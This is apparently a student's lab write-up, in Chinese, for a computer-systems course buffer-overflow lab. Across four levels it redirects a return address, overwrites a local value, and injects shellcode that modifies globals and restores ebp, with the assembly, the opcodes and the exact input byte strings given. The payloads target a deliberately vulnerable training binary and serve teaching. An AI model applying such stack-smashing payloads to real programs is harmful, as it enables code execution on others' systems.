计算机系统实验

实验三

一 实验目的

理解堆栈结构,利用缓冲区进行代码攻击

二 准备工作

配置实验环境(IDA、gcc),阅读实验指导书

三 实验过程

0x01第一关

首先理解堆栈的结构

image-20210616151132180
/* 第1只木马,只需要修改返回地址,即可进入 */
void Trojan1(void)
{
	printf("恭喜你!你已经成功偷偷运行了第1只木马!\n");
	printf("通过第1只木马测试\n");
	exit(0);
}

调用第一只木马,将返回值的地址修改成trojan1函数的地址即可

image-20210616151451256

注意地址是小端方式

QQ截图20210616150404

0x02第二关

第二关多了一个验证的条件

通过反编译找到val的寄存器的地址,增加了8位

image-20210616153431895

用自己的密码覆盖 val所指的空间

QQ截图20210616150843

0x03第三关

写汇编代码,修改全局变量的值

movl $0X4ADC80A5,00409004
push $00401250
ret

编译成二进制

0:c7 05 04 90 40 00 A5 
7:80 DC 4A
A:68 50 12 40 00
F:c3

ret要接我们自己的写的代码的地址,这样才能执行我们所写的代码

这个地址是缓冲区的首地址,也就是找getxs()的参数的地址,即eax里的值

image-20210616160042084

image-20210616160232251

因此我们输入的应该为

c7 05 04 90 40 00 A5 80 DC 4A 68 50 12 40 00 c3 84 FE 19 00

image-20210616160424409

0X04第四关

更改值

movl $0X4ADC80A5,%eax

在第三关的基础上要正常返回,push压栈的地址,为getbuf()后面的地址

image-20210617215906720

即00401181,这里写出push语句

push $0x00401181

要正常返回,即ebp要保持下来

image-20210617174239070

ebp的值

image-20210617174353504

image-20210617195821564

说明ebp的值不对,ebp的值应该调整为test的第一个ebp值,即开头的ebp设置断点,获取值

image-20210617212958672

汇编代码
movl $0X4ADC80A5,%eax
movl $0x0019FEB4,%ebp
push $0x00401181
ret
编译之后
00000000 <.text>:
0:   b8 a5 80 dc 4a          mov    $0x4adc80a5,%eax
5:   bd b4 fe 19 00          mov    $0x19feb4,%ebp
a:   68 81 11 40 00          push   $0x401181
f:   c3                      ret
    

image-20210617213434916

更改ebp的值还有一种方法:

用输入的字符串覆盖ebp的空间

汇编代码
movl $0X4Adc80a5,%eax
push $0x00401181
ret
编译之后
00000000 <.text>:
   0:   b8 a5 80 dc 4a          mov    $0x4adc80a5,%eax
   5:   68 81 11 40 00          push   $0x401181
   a:   c3                      ret
   b:   90                      nop

所以输入的字符串为

b8 a5 80 dc 4a 68 81 11 40 00 c3 90 b4 fe 19 00 84 fe 19 00 

image-20210619114605798

经测试发现 nop 的汇编 90 与 00 有一样的效果

image-20210619114740522

posted @ 2021-10-12 22:59  Osako  阅读(92)  评论(0)    收藏  举报